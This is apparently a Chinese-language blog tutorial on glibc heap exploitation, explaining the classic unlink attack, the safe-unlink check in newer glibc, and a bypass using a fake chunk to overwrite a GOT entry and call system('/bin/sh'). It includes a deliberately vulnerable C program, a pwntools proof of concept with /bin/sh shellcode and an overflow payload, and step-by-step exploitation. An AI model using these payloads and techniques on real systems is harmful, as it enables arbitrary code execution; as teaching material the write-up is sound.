Heap Overflow Using Unlink & Double Free

glibc malloc基础

在线malloc.c源码
在malloc.c中找到chunk结构的相关代码:

1
2
3
4
5
6
7
8
9
10
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize;
struct malloc_chunk* bk_nextsize;
}

heap chunk结构如下

1
2
3
4
5
6
7
+-----------+---------+------+------+-------------+
| | | | | |
| | | | | |
| prev_size |size&Flag| fd | bk | |
| | | | | |
| | | | | |
+-----------+---------+------+------+-------------+

如果当前chunk前面相邻的chunk空闲,那么prev_size记录前一个chunk的大小,如果不空闲,prev_size区域是前面chunk的数据部分。
size是当前chunk的大小,因为chunk的大小都是8字节对齐,size的低三位一定会空闲出来,低三位就用作三个Flag标识位。
fdbk是在当前chunk为空闲时,分别指向下一个和上一个空闲chunk,串联成一个空闲chunk的双向链表
详细介绍请参考我的另一篇Blog

经典的unlink利用方法

有漏洞的演示程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
char *first, *second;
first = malloc(666);
second = malloc(12);
if (argc != 1)
strcpy(first, argv[1]);
free(first);
free(second);
return 0;
}

strcpy函数导致堆溢出,argv[1]大于666字节时,会覆盖下一个chunk的chunk头,能够导致任意代码执行。
堆的结构如下:

1.没有攻击者时,第一个free做了以下工作:
不是mmap创建的chunk,会向前或向后合并
向后合并:

  • 判断前一个chunk是否空闲 如果当前释放的chunk的PREV_INUSE(P)位设为0,则前一个chunk空闲。本例中,因为”first”的PREV_INUSE位设为1,所以前一个chunk不是空闲的,默认堆内存的第一个chunk的前一个chunk是allocated(即使它不存在)。
  • 如果空闲,则合并 例如,从binlist中将前一个chunk移除(unlink),把前一个chunk的大小加到当前大小,改变chunk指针指向前一个chunk。本例中,前一个chunk是allocated,所以没有调用unlink。因此当前的空闲chunk “first”不能向后合并。

向前合并:

  • 判断下个chunk是否空闲 如果下下个chunk(相对当前释放的chunk而言)的PREV_INUSE(P)位设为0,则下个chunk是空闲的。为了找到下下个 chunk,将当前释放chunk的大小加到它的chunk指针就得到下个chunk的指针,然后将下个chunk的大小加到下个chunk指针就能得到下下个chunk。本例中,当前释放的”first” chunk的下下个chunk是top chunk,它的PREV_INUSE位是1,因此下个chunk “second”没有被释放。
  • 如果空闲,则合并 例如,将下个chunk从它的binlist中移除(unlink),把下个chunk的大小加到当前大小。本例中,下一个chunk是allocated,因此没有调用unlink。因此,当前释放的chunk “first”不能向前合并。
    将合并后的chunk加到unsorted bin。本例中,因为没有合并发生,所以把”first” chunk加到unsorted bin。

2.攻击者在strcpy中覆盖了”second” chunk的chunk头:

1
2
3
4
prev_size = 偶数
size = -4
fd = free@got - 12
bk = shellcode address

有攻击者时,第一个free做了如下工作:
向前合并:

  • 当前释放的”frist” chunk的下下个chunk不是top chunk。因为攻击者将”second” chunk的大小覆盖为-4, 所以下下个chunk在”second” chunk偏移为-4的位置。因此现在glibc malloc把”second” chunk的prev_size当做下下个chunk的size。因为攻击者把prev_size覆盖为偶数(PREV_INUSE位为0),glibc malloc以为”second” chunk是空闲的。
  • 如果空闲,则合并 将下个chunk从它的binlist中移除(unlink),把下个chunk的大小加到当前大小。本例中,下个chunk(second)是空闲的,因此会发生合并,触发unlink(second)宏:

    1
    2
    3
    4
    FD = second->fd (本例中fd是free@got-12)
    BK = second->bk (本例中bk是shellcode的地址)
    FD->bk = BK
    BK->fd = FD
  • 把”second” chunk的fd和bk拷贝到变量FDBK。本例中,FD = free@got-12, BK = shellcode address(攻击者将shellcode放在”first”堆空间中)

  • FD是malloc_chunk结构体指针,因此FD->bk相当于FD+12。本例中,FD+12 = free@got-12+12,即指向free对应的GOT条目。
  • 因此FD->bk = BK相当于free@got = shellcode address(free对应的GOT条目被覆盖成了shellcode地址)。
  • 现在第二个free调用时就会执行shellcode。

漏洞程序的poc如下:

1
2
3
4
5
6
7
8
#!/usr/bin/python
from pwn import *

elf = ELF('./heapover')
got_free = elf.got['free']

shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
print shellcode + '\x90' * (0x2a0 - len(shellcode) - 8) + p32(0xdefaced) + p32(0xfffffffc) + p32(got_free-12) + p32(0x0804b008)

这个poc只是说明一下利用方法,实际不能运行,下面就是原因。

Double Free

现在的glibc都是采取了保护机制的,想要利用unlink没有以前那么方便了。
新版本glib中的unlink宏:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \

最大的阻碍就是下面这部分代码:

1
2
if (__builtin_expect(FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P);

这段代码加到unlink宏后,再调用unlink宏时,chunk指针FD->bk(即P->fd->bk)应该是p指针自己,BK->fd也是。
上一部分中,我们修改了

1
2
p->bk = shellcode address
p->fd = free@got-12

这样改使得FD->bkfree@got,而BK->fdshellcode+8不能通过,上文的利用方式不能成功。
想要绕过这段代码需要在内存中找到一个已知的地址X指向p(地址X中保存p的值),修改如下

1
2
fd = 0x0804bfa0 - 0xc // 0x0804bfa0是地址X
bk = 0x0804bfa0 - 0x8

这样修改,unlink执行

1
2
FD = P->fd; // 0x0804bfa0 - 0xc
BK = P->bk; // 0x0804bfa0 - 0x8

使得FD->bk == PBK->fd == P,即可绕过检查代码。unlink接着执行

1
2
FD->bk = BK;
BK->fd = FD; // p = 0x0804bfa0 - 0xc

再对p指向的chunk进行写入,’A’ * 0xc + overwrite,就可以将p覆盖成某一值。
具体过程借一个示例讲解
这个程序在free时没有检验指针的有效性,没有在free之后将野指针清空。可以任意指定每一个chunk的大小。
利用步骤如下:
1.分配两个长度合适的chunk

1
2
3
4
5
6
7
8
9
chunk0                malloc返回的ptr        chunk1        malloc返回的ptr
| | | |
+-----------+---------+---+---+-------------+------+------+----+----+------+
| | | | | | | | | | |
| | | | | | prev | size&| | | |
| prev_size |size&Flag| | | | size | flag | | | |
| | | | | | | | | | |
| | | | | | | | | | |
+-----------+---------+---+---+-------------+------+------+----+----+------+

chunk0大小为504,chunk1大小为512,内容随意。
2.对chunk0进行编辑,设置好chunk0的fd、bk并溢出chunk1,改好chunk0的chunk头控制信息如下:

1
2
3
4
5
6
7
8
9
10
chunk0                malloc返回的p             chunk1        malloc返回的p
| | | |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
| | |fake|fake|fake|fake| D | fake | fake | | | |
| | |prev|size| fd | bk | A | prev | size&| | | |
| prev_size |size&Flag|size| | | | T | size | flag | | | |
| | | | | | | A | | | | | |
| | | | | | | | | | | | |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
|--------new_size--------|

为了欺骗glibc,让它以为malloc chunk0时返回的指针p就是chunk0指针,因此改写chunk1的prev_size为上图所示的new_size,将chunk1 size部分设为chunk1的实际大小(PREV_INUSE为0)。如此就做好了unlink触发的准备。
3.再新分配一个chunk2,内容为/bin/sh,为后面调用system()做准备。
4.删掉chunk1,触发unlink(p),将p改写。
删除chunk1时,glibc会检查PREV_INUSE的值,发现前一个chunk是空闲的(实际是我们伪造的),glibc会合并两个相邻的空闲块。glibc会先将chunk0从binlist中解引用,触发unlink(p)。

1
2
3
4
5
FD = p->fd(实际是0x0804bfa0-0xc,因为全局数组保存p值的地址是0x0804bfa0)
BK = p->bk(实际是0x0804bfa0-0x8)
检查是否满足上文所示的限制,由于FD->bk和BK->fd均为*0x0804bfa0(p),由此可以过掉这个限制
FD->bk = BK
BK->fd = FD(p = 0x0804bfa0-0xc)

存储指针的全局变量a的结构如图所示

1
2
3
4
5
p           0   1   2
| | | |
+---+---+---+---+---+---+
| | | | p | | | ...
+---+---+---+---+---+---+

5.对chunk0进行edit,填写内容为'A'*0xc + p32(0x0804a014)其中0x0804a014为free的got地址,edit之后p指针被free的got地址覆盖,此时print就会打印出所有的got地址。

6.根据泄露出的实际内存地址,计算出system函数的实际内存地址,将system的地址当做free的地址,其它地址不变,重新写回got。
7.Free chunk2就相当于调用system("/bin/sh"),即可获得shell。
reference
https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/
http://drops.wooyun.org/tips/7326